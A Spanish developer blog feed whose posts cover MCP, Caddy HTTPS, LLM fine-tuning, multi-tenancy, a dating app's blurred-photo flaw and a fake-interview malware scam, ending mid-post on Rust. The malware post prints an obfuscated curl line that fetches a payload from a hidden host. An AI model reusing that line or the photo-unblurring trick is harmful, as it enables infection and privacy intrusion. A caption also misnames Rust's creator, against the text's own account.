Los integrantes de Anthropic proponen estandarizar este proceso y crear un protocolo para dotar de contexto, e interaccionar con el exterior, a los LLM. Este protocolo, de nombre Model Context Protocol, se vende como la siguiente revolución de AI, ¿será esta otra burbuja de AI o una afirmación completamente fiel a la realidad? El delirante culto a la IA en redes sociales te haría creer lo segundo.

Actualización: El MCP se convirtió en un estándar y ahora se utilizan de manera cotidiana en herramientas de automatización que usan LLMs, tal como n8n.

MCP existe para servir como un puente entre un LLM y la información relacionada al contexto, esto de una forma estandarizada y agnóstica. Aquí la palabra clave es “estandarización”.

¿Cómo funciona el Model Context Protocol o MCP?

El MCP se ajusta a una arquitectura de cliente-servidor.

Rol del cliente en el MCP

Un cliente que implemente el Model Context Protocol puede conectarse a un LLM y a una serie de servicios o servers MCP que le proveeran de la información de contexto que necesita.

Un potencial cliente MCP

El cliente representa la interfaz de usuario a la que nosotros le pasaremos nuestros prompts, esta interfaz puede ser Claude Desktop o alguna otra opción.

architecture-beta group api(logos:anthropic-icon)[MCP] service llm(logos:serverless)[LLM] in api service whatsapp(logos:whatsapp-icon)[MCP server Whatsapp] in api service mcp(logos:anthropic-icon)[MCP Client] in api service telegram(logos:telegram)[MCP server Telegram] in api service github(logos:github-icon)[MCP server Github] in api junction junctionCenter llm:L <--> R:mcp mcp:L <-- R:junctionCenter whatsapp:B <-- T:junctionCenter telegram:T <-- B:junctionCenter github:R <-- L:junctionCenter

Rol de un server en el MCP

Un server se encargará de leer información, ya sea un archivo, una base de datos, un servicio web (por medio de una API) o cualquier otro origen que sea accesible. Para hacerlo echará de mano de ciertos recursos o herramientas previamente predefinidos, que restringen lo que el cliente puede o no puede leer o hacer.

architecture-beta group api(logos:anthropic-icon)[MCP] service server(server)[Whatsapp Server] in api service whatsapp(logos:whatsapp-icon)[MCP Whatsapp] in api server:L <--> R:whatsapp

¿Cómo sabe el MCP qué puede leer o hacer de un server?

Para saber que recursos puede leer o modificar un servicio o server, estos implementan una funcionalidad similar ´ Reflect en Go y GraphQL , con la cual exponen información sobre ellos mismos.

Por ejemplo en el repositorio de Github del MCP vemos la lista de acciones que se pueden llevar a cabo, así como los inputs requeridos para ello.

Captura de pantalla de las acciones disponibles de un server MCP de Github

Internamente no hay nada mágico, los servicios interactuan con los servidores o fuentes de información por medio de sus respectivas APIs. Observa el código que lleva a cabo la acción listCommits que aparece en la imagen de arriba.

Aprecia como hay una validación inicial usando la conocida librería Zod, pero al final existe una llamada a una función para realizar una petición a una URL de Github.

 1import { z } from "zod";
 2import { githubRequest, buildUrl } from "../common/utils.js";
 3
 4export const ListCommitsSchema = z.object({
 5  owner: z.string(),
 6  repo: z.string(),
 7  sha: z.string().optional(),
 8  page: z.number().optional(),
 9  perPage: z.number().optional()
10});
11
12export async function listCommits(
13  owner: string,
14  repo: string,
15  page?: number,
16  perPage?: number,
17  sha?: string
18) {
19  return githubRequest(
20    buildUrl(`https://api.github.com/repos/${owner}/${repo}/commits`, {
21      page: page?.toString(),
22      per_page: perPage?.toString(),
23      sha
24    })
25  );
26}

¿Cómo sabe el LLM qué acción debe realizar?

Esta es la parte mágica, el LLM puede “leer” las acciones disponibles del MCP y, basado en el prompt, decidir que acción debe ser ejecutada, entonces el MCP realizará la acción y devolverá la respuesta al LLM, después la respuesta será leída por el LLM, que generará una respuesta final para el usuario.

Hasta ahora he estado hablando de recursos y acciones, pero en el MCP estas dos acciones que se encargan de darle contexto a un LLM tienen nombres, por supuesto no iban a perder la oportunidad de darle branding a su protocolo.

Tipos de contexto: Resources y Tools

Los tipos de contexto del MCP se dividen en:

Resources.
Tools.
Sampling, realiza queries a otros modelos, menos común.
Prompts, plantillas de promps, menos común

¿Cuál es el tipo de contexto Resources?

Puedes pensar en los Resources como una petición GET de una API REST , destinada a obtener información, sin modificar nada.

¿Cuál es el tipo de contexto Tools?

Por otro lado, una tool sería el equivalente de una petición POST, UPDATE, DELETE o PATCH.

Piensa en las tools un mecanismo para permitir que un cliente realice modificaciones en tu servidor o servicio.

Si te sientes más familiarizado con APIs del tipo GraphQL , puedes pensar en resources y tools como queries y mutations, respectivamente.

¿Cómo se comunica el MCP con los servers?

El MCP tiene dos paradigmas de comunicación, uno de ellos es por medio del STDIO, o Standard Input Output, ~~sacado directamente de tus pesadillas programando en C #include <stdio.h>~~ ideal para comunicaciones locales, por ejemplo con una base de datos local, como Postgres o SQL.

El otro tipo es SSE o Server Sent Events, el cual realiza streaming de peticiones POST (similar al streaming de peticiones en gRPC del que te hablé ), ideal obviamente para comunicaciones que no ocurren en el mismo entorno.

El protocolo MCP es Stateful

Otro aspecto a destacar, es que, a la fecha, el protocolo requiere una conexión persistente entre cliente y servidor , por lo que puede ser complicado para arquitecturas autoescalables que se adaptan a la demanda, además de ir completamente en contra de la corriente en un mundo que se esmera en volverse stateless.

Solo para refrescar tu memoria:

Aspecto	Aplicación Stateless (Sin Estado)	Aplicación Stateful (Con Estado)
Estado del Servidor	No almacena estado del cliente entre solicitudes	Mantiene estado del cliente entre solicitudes
Datos de Sesión	Almacenamiento en el cliente (ej. cookies, tokens)	Almacenamiento en el servidor (ej. BD de sesión, memoria)
Escalabilidad	Escalabilidad horizontal (sin afinidad requerida)	Requiere sesiones persistentes o replicación de estado
Complejidad	Más simple de implementar y escalar	Más compleja debido a la gestión del estado
Tolerancia a Fallos	Resiliente (las solicitudes pueden ir a cualquier servidor)	Vulnerable a fallos del servidor
Ejemplos	APIs REST (diseñadas correctamente), HTTP/HTTPS	Aplicaciones monolíticas tradicionales, WebSockets

Por ahora es una discusión si permanecerá así, se implementarán versiones stateless o si habrá cambios al respecto. Después de todo este protocolo es nuevo y quien sabe que vaya a pasar en el futuro en el mundo de la AI, para ejemplos tenemos casos como el de Devin AI y Rabbit R1.

Si quieres saber más dale una leída a la documentación oficial del Model Context Protocol y la introducción al MCP

La Manera Más Fácil De Usar Https en Localhost (mi opinión)

Wed, 26 Feb 2025 00:00:00 +0000

¿Cómo usar Localhost con https en lugar de http sin necesidad de lidiar con el comando netstat, ni emitir certificados SSL de manera manual?

¿Por qué usar https en localhost lugar de http?

Es bastante común realizar integraciones donde probamos Oauth o algún tipo de integración con alguna aplicación de terceros, y muchas son bastante restrictivas al respecto, por lo que no aceptan integraciones o enviar callbacks a direcciones que no usen https.

Por ejemplo en la creación de apps en las plataformas de desarrollador de X (antes Twitter) o Facebook. ~~Te odiamos zucaritas.~~

Facebook developer portal callback needs https

Existen múltiples soluciones para usar https en localhost, una de ellas es firmar nuestros propios certificados de manera manual, pero vamos a hacer esto de la manera rápida y fácil.

Servidor con https en localhost usando Caddy

Caddy es un servidor escrito en el lenguaje de programación Go , conocido por ser muy sencillo de configurar (pan comido en comparación con una configuración de Nginx ), y que además incluye https por defecto.

Es tan sencillo de configurar que solo requiere un simple archivo llamado Caddyfile, sin extensión. Puedes pensar en el archivo anterior como el equivalente de un Dockerfile en Docker.

Instálalo de acuerdo a las instrucciones de tu SO y crea el Caddyfile.

your-sub-domain.localhost {
    reverse_proxy http://localhost:5000
}

El subdominio es solo para poder aislarla del resto de aplicaciones que sirven en localhost.

La configuración anterior creará un reverse proxy o proxy inverso que redigirá el tráfico en your-sub-domain.localhost hacia el puerto 5000 de localhost. Recuerda reemplazar el puerto por el que prefieras.

graph TD; your-sub-domain.localhost-->http:localhost:5000;

Finalmente solo basta correr caddy run, o caddy start, si quieres una ejecución en terminal o detached, respectivamente, en el directorio donde se localiza el Caddyfile y caddy creará un proxy inverso hacia tu localhost en el puerto que especificaste. Y voilá, estaremos usando https en localhost.

Solución al error: Caddy “listen tcp :<port_number>: bind: permission denied”

Si al intentar correr caddy obtienes un error de permiso denegado, se debe a que Linux impide que procesos no-root escuchen los puertos principales como el 443 o el 80.

Para permitir que linux asigne el permiso de escuchar en esos puertos a caddy, corre el siguiente comando.

sudo setcap CAP_NET_BIND_SERVICE=+eip $(which caddy)

Solución 2 al error: Caddy “listen tcp :<port_number>: bind: permission denied”.

Otra posibilidad es que caddy ya se esté ejecutando, sobre todo si al instalarlo empezó a correr como un servicio, ante lo cual basta con detenerlo y volverlo a ejecutar.

caddy stop
caddy start

Tras esto deberías poder acceder a your-sub-domain.localhost o a your-sub-domain.localhost:443 a través de https en tu navegador, el comando curl o la herramienta que prefieras usar.

Fine-Tuning De Un LLM Guía Práctica Con Recursos

Mon, 17 Feb 2025 00:00:00 +0000

Intenté hacer fine-tuning de un modelo de DeepSeek pero fracasé, luego intenté hacerlo con Llama y tampoco pude conseguirlo, al final logré hacerlo con un modelo de Mistral, específicamente el de 7B de parámetros.

Te comparto algunos recursos que encontré útiles durate el proceso. A pesar de estar jugando a entrenar LLMs, aún sigo creyendo que estamos en una burbuja de AI. El delirante culto a la IA en redes sociales es otro ejemplo de la sobrevaloración de la IA.

¿Dónde aprender los fundamentos de AI y redes neuronales?

Si no tienes ni idea de Inteligencia Artificial o lo que es una red neuronal, los videos más completos y didácticos los tiene el canal de 3blue1brown.

Sin embargo es importante aclarar que estos videos no parten de cero, es necesario que tengas bases mínimas de algebra lineal, regresión lineal y cálculo diferencial e integral. Sé que puede ser un poco desmotivador para los que vienen de backgrounds no técnicos pero no es tan difícil como parece.

Probablemente ya conozcas a DotCSV, sí es el pelón divulgador de la AI que todos queremos, pero lo que quizás no sepas es que DotCSV tiene una introducción sobre las matemáticas detrás de las redes neuronales, y sus videos son simplemente excelentes, y lo mejor es que están en español.

Platzi también tiene un excelente video donde explican las bases matemáticas de las redes neuronales en español, el video es algo largo, pero creeme que vale muchísimo la pena.

Pero si ya tienes nociones de redes neuronales, entonces empecemos por el fine-tuning o ajuste fino.

¿Qué es el fine-tuning?

El fine-tuning es el procedimiento de seleccionar un modelo ya entrenado y continuar su formación en un conjunto de datos particulares del campo. Como por ejemplo un LLM que ha sido entrenado usando todos los artículos científicos sobre diabetes, lo cual podrías hacer a través del Model Context Protocol

Porque, ¿para qué realizar prompt engineering cuando se puede hacer fine-tuning de un modelo y obtener los mismos resultados?

Sólo estoy bromeando, siempre prueba primero con prompt engineering

La mayor parte de los modelos LLM actuales exhiben un rendimiento global bastante positivo, pero no logran solucionar problemas particulares enfocados en tareas específicas, sobre todo en areas muy específicas de conocimiento.

El procedimiento de fine-tuning brinda beneficios significativos, tales como la disminución de los costos de cálculo y la oportunidad de utilizar modelos avanzados sin la necesidad de edificar uno desde el inicio.

Puede que la AI no sustituya a los programadores , pero el fine-tuning puede convertir un LLM en la herramienta de predicción definitiva en un área de conocimiento.

Pasos para realizar fine-tuning de un LLM

Los pasos pueden variar de acuerdo al modelo pero generalmente son algo similares a esto

Cargar un dataset: Obtener tu dataset, ya sea existente u original.
Preprocesamiento de datos: Tokenizar tu dataset usando tokenizador del modelo y dividirlo en conjuntos de entrenamiento, validación y prueba.
Selección del modelo: Elija un LLM preentrenado.
Configuración de parámetros: Configure los hiperparámetros.
Entrenamiento o Fine-Tuning: Entrene el modelo en el conjunto de datos personalizado.
Evaluación: Ponlo a prueba con el conjunto de pruebas.
Inferencia: Despliegue el modelo ajustado para la inferencia en nuevos datos, asegurándose de que se generaliza bien a entradas no vistas.

Te dejo algunos recursos relacionados con el fine-tuning a continuación.

Me encantó este recurso para entender los pasos generales para hacer fine-tuning de un LLM .

Esta es la notebook que yo utilice para realizar fine-tuning está en Kaggle y puedes consultarla.

Pero empecemos por lo primero, los datos.

¿Dónde conseguir datasets para hacer fine-tuning?

De la misma manera que se necesitan datos para entrenar un modelo de IA, el fine-tuning requiere que se le proporcionen los mejores datos que se puedan encontrar, y la mejor fuente son tus propios datos originales.

Yo usé datasets de HuggingFace , sin embargo es importante considerar que los modelos pre-entrenados que están disponibles de manera gratuita seguramente fueron entrenados usando esos mismos datos, por lo que, si decides usarlos, no esperes tener una mejora substancial respecto al rendimiento normal del modelo, lo mejor sería usar datos propios o contenido original.

Fuentes de datos para fine-tuning

Asegúrate de que tu dataset esté en un formato adecuado, yo tuve que preprocesar, uno usando Python, en el que cada linea era un archivo por separado, lo que volvía la importación increíblemente lenta.

Ok, ya tenemos los datos, ¿qué LLM usamos?

¿Qué modelos son mejores para hacer fine-tuning?

Para realizar el entrenamiento, debes partir de un modelo preexistente. Mientras más parámetros tenga mejores resultados obtendrás, pero peor será el rendimiento.

Generalmente encontrarás buenos candidatos para fine-tuning en HuggingFace, sobre todo entre los modelos más grandes (con mayor número de parámetros), entre los más populares que pude encontrar están Llama, DeepSeek, Mistral, Falcon, entre otros.

Yo probé los sisguientes modelos porque eran muy ligeros y no requerían tanto poder de computo (trabajo con recursos límitados, déjenme en paz), pero tú puedes usar sus versiones con más parámetros:

Obtuve mejores resultados con los de Mistral, probablemente porque los de DeepSeek fueron entrenados con material de origen chino.

De hecho pude entrenarlo y montarlo pero el modelo me retornaba caracteres chinos (igualito a la habitación de Searle ), de vez en cuando como parte de la respuesta, aunque eso sí, era increíblemente rápido.

Ya elegimos modelo y tenemos los datos, ¿dónde entrenamos nuestro LLM? Mientras más barato mejor.

¿Dónde hacer fine-tuning de un LLM de manera gratuita?

Lo mejor sería usar tus propias GPUs, pero en caso de que te sea imposible, Google, a través de Google Colab tiene GPUs disponibles de manera gratuita por una cantidad limitada de horas al día, Kaggle también te ofrece 30 horas de uso de GPU a la semana para que lleves a cabo tus experimentos. ~~Y crees tus imágenes furras usando los modelos prohibidos.~~

En mi búsqueda también encontré una empresa llamada salad , que sirve como intermediario entre usuarios y gamers que quieren alquilar sus GPUs, los precios son increíblemente competitivos. VastAI también es otra opción. Digital Ocean también tiene precios bastante competitivos y provee una amplia variedad de GPUs de donde elegir.

Ahora tenemos todo lo que necesitamos, revisemos el proceso brevemente.

Tutoriales sobre fine-tuning de LLM

Para hacer Fine-tuning encontré bastante amenos estos videos, cortos y directo al grano, sin embargo no pude producir un modelo que funcionara siquiera, es posible que las notebooks estuvieran desactualizadas y probablemente mi inexperiencia jugó un rol en mi fracaso.

Este es una buena introducción pero no comparte la notebook, aunque pude encontrarla en Google Colab, te dejo el enlace en la siguiente sección.

Éste chico es un más específico y su video es conciso.

Ahora que entendemos el proceso de manera general, ¿en dónde conseguimos una plantilla para hacer fine-tuning? No queremos escribir todo desde cero, ¿verdad?

Notebooks para hacer fine-tuning de LLM.

Esta fue la notebook que me permitió hacer fine-tuning al modelo Mistral , con un par de modificaciones, claro.

La mayoría de las notebooks solo necesitan que cambies el modelo y adaptes el dataset a la entrada del modelo, por lo que puedes usarlos como punto de partida para tu caso particular.

Otras que encontré particularmente bien explicadas pero no me funcionaron o produjeron resultados no deseados son estas:

¿Dónde hacer deploy de un modelo de LLM?

Después de entrear tu modelo quizás querrás ponerlo a disposición de los demás.

Generalmente existen herramientas como Gradio que abstraen el proceso de generar un servidor de chat como el de OpenAI, puedes montarlos por tu cuenta o usar de los que dispone HuggingFace, aunque obviamente por un costo mensual, los planes gratuitos solo tienen CPU y RAM, por lo que no suele ser suficiente para ejecutar tus LLM, sobre todo los grandes.

Como mi proyecto fue con fines educativos y no quiero pagar por un plan premium, yo decidí dejar el código necesario para ejecutar mi modelo en una libreta de GoogleColab con el código necesario para ejecutarlo.

Arquitectura Multi Tenant En Software: Qué Es y Sus Patrones De Bases De Datos

Tue, 28 Jan 2025 17:44:50 -0600

El patrón multi tenant es un enfoque de arquitectura (No confundir con patrón de diseño o patrón de despliegue ) en software donde una única instancia de una aplicación sirve a múltiples clientes (o también podrías llamarlos inquilinos, que es la traducción de tenants). Es probable que hayas estado en contacto con este patrón de diseño al usar dropbox, Slack o cualquier SAAS de gestión de proyectos.

En la arquitectura multi-tenant, cada tenant puede ser una empresa, un grupo o un usuario individual, y aunque comparten la misma infraestructura y código base, sus datos están aislados y personalizados.

Ejemplo Sencillo de aplicación multi-tenant: Un coworking moderno

La arquitectura multiusuario es similar a un edificio de oficinas moderno donde diferentes empresas (inquilinos) (como WeWork, pero con menos corrupción) comparten la misma infraestructura física (ascensores, sistemas de seguridad, servicios públicos y administración del edificio). Sin embargo, cada empresa cuenta con espacios de oficina completamente aislados con sus propios datos, configuraciones y personalizaciones, a los que otras empresas no pueden acceder.

Al igual que el propietario del edificio mantiene un conjunto de sistemas mientras presta servicio a varias empresas, una aplicación multiusuario presta servicio a varias organizaciones utilizando una única instancia de software e infraestructura de base de datos, con un estricto aislamiento de datos entre los inquilinos.

Esto difiere de una aplicación multiusuario simple (básicamente cualquier app simple), que se asemeja más a la oficina de una sola empresa donde todos los empleados comparten el mismo espacio de trabajo, datos y configuración (un godinato promedio si estás en México): todos ven la misma información y operan bajo las mismas reglas organizativas y ~~se ponen la misma camiseta~~. En cambio, en los sistemas multiusuario, cada inquilino opera como si tuviera su propia aplicación, con su propia base de usuarios, datos y, a menudo, funciones personalizadas.

Llevando el ejemplo en algo más práctico, imaginate que quieres implementar un servicio de administración de tiendas de supermercado pequeñas. Cada tienda separada representaría un tenant, y cada tenant va a operarse de manera diferente al resto, tendrá su propia configuración, sus propios clientes, proveedores y cualquier otra configuración personalizada, además la información de cada tienda de supermercado será privada.

¿En qué se diferencia el patrón multi-tenant de las cuentas de usuario?

Cuando leí la primera vez sobre este patrón de arquitectura no pude encontrar las diferencias entre, digamos una aplicación muy configurable, como MySpace, por ejemplo, y una multi-tenant. Probablemente para ti fue muy clara la diferencia pero a mi me tomó por sorpresa y tuve que investigar al respecto, aunque ciertamente no fui el único en preguntar la diferencia entre usuarios y multi-tenant :

Aspecto	Cuentas de Usuario	Aplicación Multi-Tenant
Definición	Perfiles individuales dentro de una aplicación compartida.	Instancia única de una aplicación que sirve a múltiples clientes (tenants), cada uno con su propio espacio.
Nivel de Aislamiento	Todos los usuarios comparten los mismos datos y configuraciones generales.	Los datos y configuraciones de cada tenant están aislados entre sí.
Personalización	Limitada al nivel del usuario (como temas o ajustes personales).	Cada tenant puede tener configuraciones, branding o incluso funcionalidades diferentes.
Ejemplo Sencillo	Un foro online donde los usuarios tienen cuentas, pero todos comparten las mismas categorías y posts.	Google Workspace (antes G Suite), donde cada empresa (tenant) tiene su propio correo, Drive, y usuarios.
Propósito Principal	Gestionar múltiples usuarios dentro de un solo sistema compartido.	Gestionar múltiples clientes separados, cada uno con varios usuarios y necesidades únicas.
Datos Compartidos	Los datos suelen estar en un mismo espacio, compartidos por todos los usuarios.	Los datos de cada tenant están segregados, aunque usen la misma base de datos.

¿Cómo estructurar las bases de datos en una aplicación multi-tenant?

Una aplicación multi-tenant tendrá que registrar y guardar información de cada tenant y por ende habrá una base de datos, pero al estar manejando múltiples tenants o inquilinos, será inevitable preguntarnos: ¿Cómo diseñamos nuestra(s) base(s) de datos? ¿Divido a los tenants por base de datos o por tabla? ¿será buena idea una base de datos para todos en su lugar?

Pues existen diferentes paradigmas al respecto, cada una con sus ventajas y desventajas.

Una base de datos y un mismo esquema para todos los tenants.

Una única base de datos y un solo esquema, con tablas diferentes para cada tenant. La más sencilla y simple de implementar, pero con pésimo aislamiento y personalización. Puedes identificar a cada tenant por su id único.

architecture-beta group api(database)[Database] service schema(logos:datasette-icon)[Schema] in api

Una query SQL luciría así

SELECT * FROM <table> WHERE <tenant_id_column> = '<id>';

Una base de datos para cada tenant

Aquí hay una base de datos por cada tenant. La más costosa en recursos pero proporciona aislamiento y nivel de personalización total. Puedes identificar a cada tenant por su schema.

architecture-beta group app[App] service db1(database)[Database] in app service db2(database)[Database] in app service db3(database)[Database] in app

Una query SQL luciría así

# Connecting database in postgres
\c <tenant_database_>
SELECT * FROM <tenant>.<table>;

Una base de datos pero diferentes schemas para cada tenant

Una única base de datos para todos los tenants pero un schema diferente para cada tenant. Personalizable y la separación de los esquemas mantiene cierto nivel de aislamiento, pero la complejidad se incrementa. Puedes identificar a cada tenant por su schema.

architecture-beta group api(database)[Database] service schema1(logos:datasette-icon)[Schema] in api service schema2(logos:datasette-icon)[Schema] in api service schema3(logos:datasette-icon)[Schema] in api

Una query SQL luciría así.

SELECT * FROM <tenant>.<table>;

Ahora tienes una idea general del patrón multi tenant y esperamos que puedas usarlo en tus aventuras SAAS.

Me Aproveché De Un Error En El Código De Una App De Citas

Fri, 03 Jan 2025 20:36:36 -0600

Mientras usaba una app de citas estilo Tinder, de esas en las que, tras un like mutuo, la aplicación pone en contacto a los involucrados, pude notar que, para promocionar su plan premium, usaban fotografías difuminadas para presentarte a las personas que habían presionado el botón de Like en tu perfil.

Tras tener un par de matches pude notar que las fotografías difuminadas pertenecian a cuentas reales, es decir, no eran un set de imágenes genéricas o placeholders.

Ejemplo del efecto blur aplicado a la fotografía

Sonaba demasiado obvio, de igual forma, abrí la consola de desarrollador de mi navegador y me dirigí al código CSS para comprobar mis sospechas. ¡No puede ser que cometieran un error tan simple!—pensé—Están protegiendo la identidad de las fotografías con un simple filter: blur de CSS.

.hidden-image {
    filter: blur(4px);
}

Procesamiento de imágenes de esta app de citas

Las imágenes reales eran servidas por el CDN de la aplicación y posteriormente aplicaban un filtro para ocultarlas, por lo que, para saber quien te había dado like, bastaba con remover el filtro.

Desafortunadamente era imposible obtener otro dato a partir de las fotografías o de la estructura la URL, llamadas a la API , o cualquier otro dado; ni el nombre, ni el perfil ni alguna otra información era accesible más que la imagen de perfil.

¿Cómo ofuscar imágenes en apps de citas?

Ciertamente este era un error de arquitectura, es cierto que es muy sencillo realizar el tratamiento de las imágenes en el frontend, con CSS, pero una mejor opción hubiera sido usar un set de imágenes genéricas para todas las cuentas.

Otra alternativa hubiera sido generar un thumbnail (o c ambiar el formato, ejemplo: webp ) automáticamente cada vez que un usuario actualice su imagen principal de perfil; consume un poco más de espacio pero mantiene las imágenes reales seguras y personaliza la experiencia de cada usuario.

flowchart TD id1[Profile picture change] --> id2[Generate blurred thumbnail ] id1 --> id3[Generate normal thumbnail ]

Explotando el error con una extensión de navegador

Para aprovecharme del error, cree un pequeño script en Javascript que obtenía todas las imágenes y removía la clase que aplicaba el filtro blur, posteriormente lo integré a una extensión de navegador para automatizar el proceso de desbloquearlas cada vez que entraba a la página.

Este pequeño descuido por parte de los desarrolladores duró activo cerca de dos años. Actualmente ya ha sido solucionado por lo que si intentas buscar el error en las páginas principales de citas, ya no lo encontrarás, y esta es también la razón principal por la que decidí publicar sobre ello.

Los desarrolladores a cargo de la aplicación modificaron el código para su versión web, dejando casi intacta el resto de la UI y escogió crear un thumbnail protegido para cada cuenta, pero procesándolo desde el backend, para que sea completamente imposible conseguir la imagen real.

Como Una Entrevista Laboral Se Convierte En Un Robo De Criptomonedas

Sat, 14 Dec 2024 22:24:18 -0600

El otro día estaba navegando en esa máquina de propaganda política de Elon Musk, también conocida como X, y me topé con esta joya de la desvergüenza humana, un entrevistador que estuvo a punto de hackear a uno de sus postulantes.

Ejecución de malware en las entrevistas laborales

La historia es esta: estás necesitado de trabajo, te preparas para la entrevista, y de repente el reclutador te pide clonar una librería de Github para que encuentres los errores en el código, una entrevista protocolaria para desarrollo de software, todo normal hasta este punto. Por supuesto que tú, necesitado de un buen laburo, decides seguir con el proceso.

Bueno, pues este chico fue lo suficientemente avispado como para leer el código a ejecutar antes de ejecutar ciegamente su voluminosa librería de node_modules. ¿Y con que se encontró? un suculento y delicioso código minimizado, ofuscado y con tintes de poner tu ordenador a minar criptomonedas.

Nuestro amigo era como Jorge, curioso, así que embelleció el código y encontró:

Lineas que parecen buscar y leer el contenido de carteras de Solana.
Scripts que escanean directorios de navegadores.
Llamadas a una API directo a una dirección IP, sin dominio, algunos sin respuesta y otros que descargan scripts ofuscados en Python (supongo que le da un seguimiento al proceso de hackeo instalando un backdoor o algún RAT).

Si quieres ~~infectarte~~ leer el código visita el repositorio de github , no me hago responsable de nada.

_0x42b722("curl -Lo \"" + _0x157519 + "\" \"" + "http://<censored>/pdown" + "\"", (_0x204dd7, _0x6e1c16, _0x52b515) => {
  if (_0x204dd7) {
    _0x517b73 = 0;
    return void _0x70af27();
  })

¿Cómo evitamos caer en estas trampas?

No planeo quedarme solo en el drama. Esto se trata de ofrecer algunas soluciones prácticas para que los script kiddies no te vean la cara de novato en una falsa entrevista de trabajo:

Usa un dispositivo diferente

La opción más cómoda, pero también la más cara, mantén tus dispositivos separados, usa un ordenador para trabajo y pruebas técnicas y otro para tus asuntos personales, criptomonedas incluidas.

Lee el código, siempre que sea posible

¿El reclutador te manda un script? Examínalo con cuidado antes de ejecutarlo. Sí, ya sé, a veces el código es demasiado extenso o está ofuscado, pero si tienes algo de experiencia, puedes pasar tus ojos rápidamente por la pantalla y detectar las red flags. Claro, tampoco puedes perder toda la tarde con esto si estás en una entrevista real o valoras tu tiempo.

Usa una máquina virtual

Monta una máquina virtual, ya sea Virtual Box o Gnome Boxes, en Linux, o un contenedor de Docker completamente aislado , si no te molesta no contar con una interfaz gráfica.

Otra opción disponible, y mi favorita: una live USB con la distribución de tu elección (Debian, Fedora, o lo que quieras).

De esa manera, lo peor que puede pasar es que infecten tu máquina virtual y no tu equipo real con toda tu información personal. ¡Solo ten cuidado los volúmenes compartidos! Si montas tu disco duro en la VM, estás frito.

Cifra tu información sensible

Aquí entra el clásico consejo de los veteranos de la vieja escuela de TI: cifra tus datos importantes. Si alguien logra acceder a tus colección de memes de gatitos, cífralos.

No planeo ofrecer detalles porque ya hay demasiado en internet, Googlea sobre GPG o lee el manual directamente, si no estás tan familiarizado con la terminal o no te interesa, hay herramientas como Kleopatra, que vuelven más intuitivo el uso de la criptogorafía.

No ejecutes código arbitrario en tu máquina personal

¿Tienes mejores ideas para protegernos de estas prácticas? Suelta tus consejos en redes sociales y etiquétame. Estoy ansioso de agregar tus sugerencias al post.

Si quieres leer la historia completa dale una visita al blog de Elon… digo X. Editado: el propietario de la cuenta ha cambiado su configuración de privacidad, así que ahora no puedes ver la conversación completa.

¿Qué hace al lenguaje Rust tan difícil de aprender?

Wed, 16 Oct 2024 19:15:53 -0600

Empecé a aprender Rust, y todo lo que leí en redes sobre su curva de aprendizaje es verdad. Rust es difícil, no imposible, solo difícil. Pero ahora también entiendo también porque la obsesión con este lenguaje de programación. Tras haber terminado el libro de Rust tengo una visión general del lenguaje de programación que plasmaré en los siguientes párrafos.

Si ya sabes que hace complicado a Rust tan difícil y lo que estás buscando es aprenderlo, pasa a la parte final de este post donde te recomiendo algunos recursos.

Conceptos de Rust que no están en otros lenguajes

Rust requiere que domines una serie de conceptos que no existen en otros lenguajes de programación, lo cual vuelve el ejercicio de aprender Rust un poco más complejo que extrapolar la sintaxis de otros lenguajes a este, tal como harías si quisieras aprender el lenguaje de programación Go , por ejemplo. Por esta misma razón, no recomiendo que Rust sea tu primer lenguaje de programación.

La razón de la complejidad de Rust radica en un escenario exótico. Rust fue creado por Graydon Hoare tras un incidente con un ascensor averiado. ¿La causa? Un pobre manejo de memoria, probablemente causado por código C o C++.

Rust fue creado por Royden Lepp tras un problema con un elevador

El Borrowing en Rust es difícil

El objetivo del creador de Rust era desaparecer todos los errores de manejo de memoria en el heap que seguramente ya conoces, para esto Rust se encarga de que solo pueda haber una variable que posea un valor, esta posesión puede transferirse de una variable a otra por medio del borrowing pero en todo momento hay un único dueño.

Yo encontré este video sobre borrowing particularmente útil:

Entender los Lifetimes en Rust es difícil

Este concepto sirve para indicarle manualmente al compilador la duración (el tiempo de vida) de una variable, en casos donde este no pueda inferirla automáticamente. Una vez que los entiendes, los lifetimes simple en práctica pero pueden reducir la legibilidad del código, sobre todo si nunca los has visto.

Como se siente cuando lees sobre lifetimes la primera vez en Rust

No es necesario que entiendas exactamente que hace, lo importante aquí es que aprecies como su uso puede volver el código bastante ilegible y complicado de entender a simple vista.

fn longest<'a>(x: &'a str, y: &'a str) -> &'a str { 
    if x.len() > y.len() {
        x 
    } else {
        y 
    }
}

La buena noticia es que, para mi alivio, no parecer ser una característica que se tenga que poner en práctica frecuentemente.

Entender cuando usar los Múltiples Punteros inteligentes Box, RefCell, Cell, Arc, Mutex, en Rust es difícil

Rust cuenta con una serie de punteros inteligentes para manejar las referencias a la memoria en el caso de que necesites acceder a una variable desde muchos otros lados (Anteriormente he escrito, sobre Mutex pero en Go ).

Suena simple pero, nuevamente, las cosas se complican cuando llega el momento de expresarlo en código y poder diferenciar el uso de cada uno y que problema resuelven.

Yo no entendía sus diferencias ni sus usos la primera vez que los leí, y pude darme cuenta de que no era el único, stackoverflow y Reddit están llenos de preguntas sobre estos punteros inteligentes.

let value = Rc::new(RefCell::new(5));

Mientras investigaba sobre el tema encontré este vídeo, y los entendí perfectamente después de verlo.

O checa este resumen de Box, Arc, Rc, RefCell y Mutex.

El uso frecuente de los Macros en Rust puede ser intimidante

Una macro, en Rust, es simplemente un fragmento de código que genera otro código de Rust durante la compilación.

Las macros no son concepto nuevo o exclusivo de Rust. Sin embargo, si estás acostumbrado a otros lenguajes de programación, probablemente te confunda la idea de tener un decorador extravagante, con brackets que contienen una llamada a una función y todo esto con un hashtag al principio.

Aunado a lo anterior, es bastante común ver macros en el código de otras personas, por lo que puede dificultar la comprensión si es tu primer contacto con el lenguaje, a mi me pasó.

#[derive(Debug)]
enum List {
    Cons(Rc<RefCell<i32>>, Rc<List>),
    Nil,
}

La sintaxis de los Closures en Rust es difícil

Si vienes de lenguajes como Javascript, probablemente estés familiarizado con los closures (como en el patrón debounce ), bien en Rust también existen, pero la primera vez que vi uno, me confundió su sintaxis, usando los pipes para recibir a los argumentos y con la palabra move, que transfiere la propiedad de todas las variables que contiene al closure.

std::thread::spawn(move || {
    println!("captured {data:?} by value")
}).join().unwrap();

Lo bueno es que solo es cuestión de acostumbrarse a la sintaxis.

El manejo de Errores y null values en Rust es complejo

Rust no cuenta con Try y Catch, sino que el manejo de errores y de valores nulos debe hacerse de manera explícita, parecido a como se hace en Go, para esto Rust echa mano de Result, Option, unwrap y ?

Option

Option es un enum, este representa un valor (Some) o la ausencia de este (None).

let x: Option<i32> = Some(13);
let y: Option<i32> = None;

Result

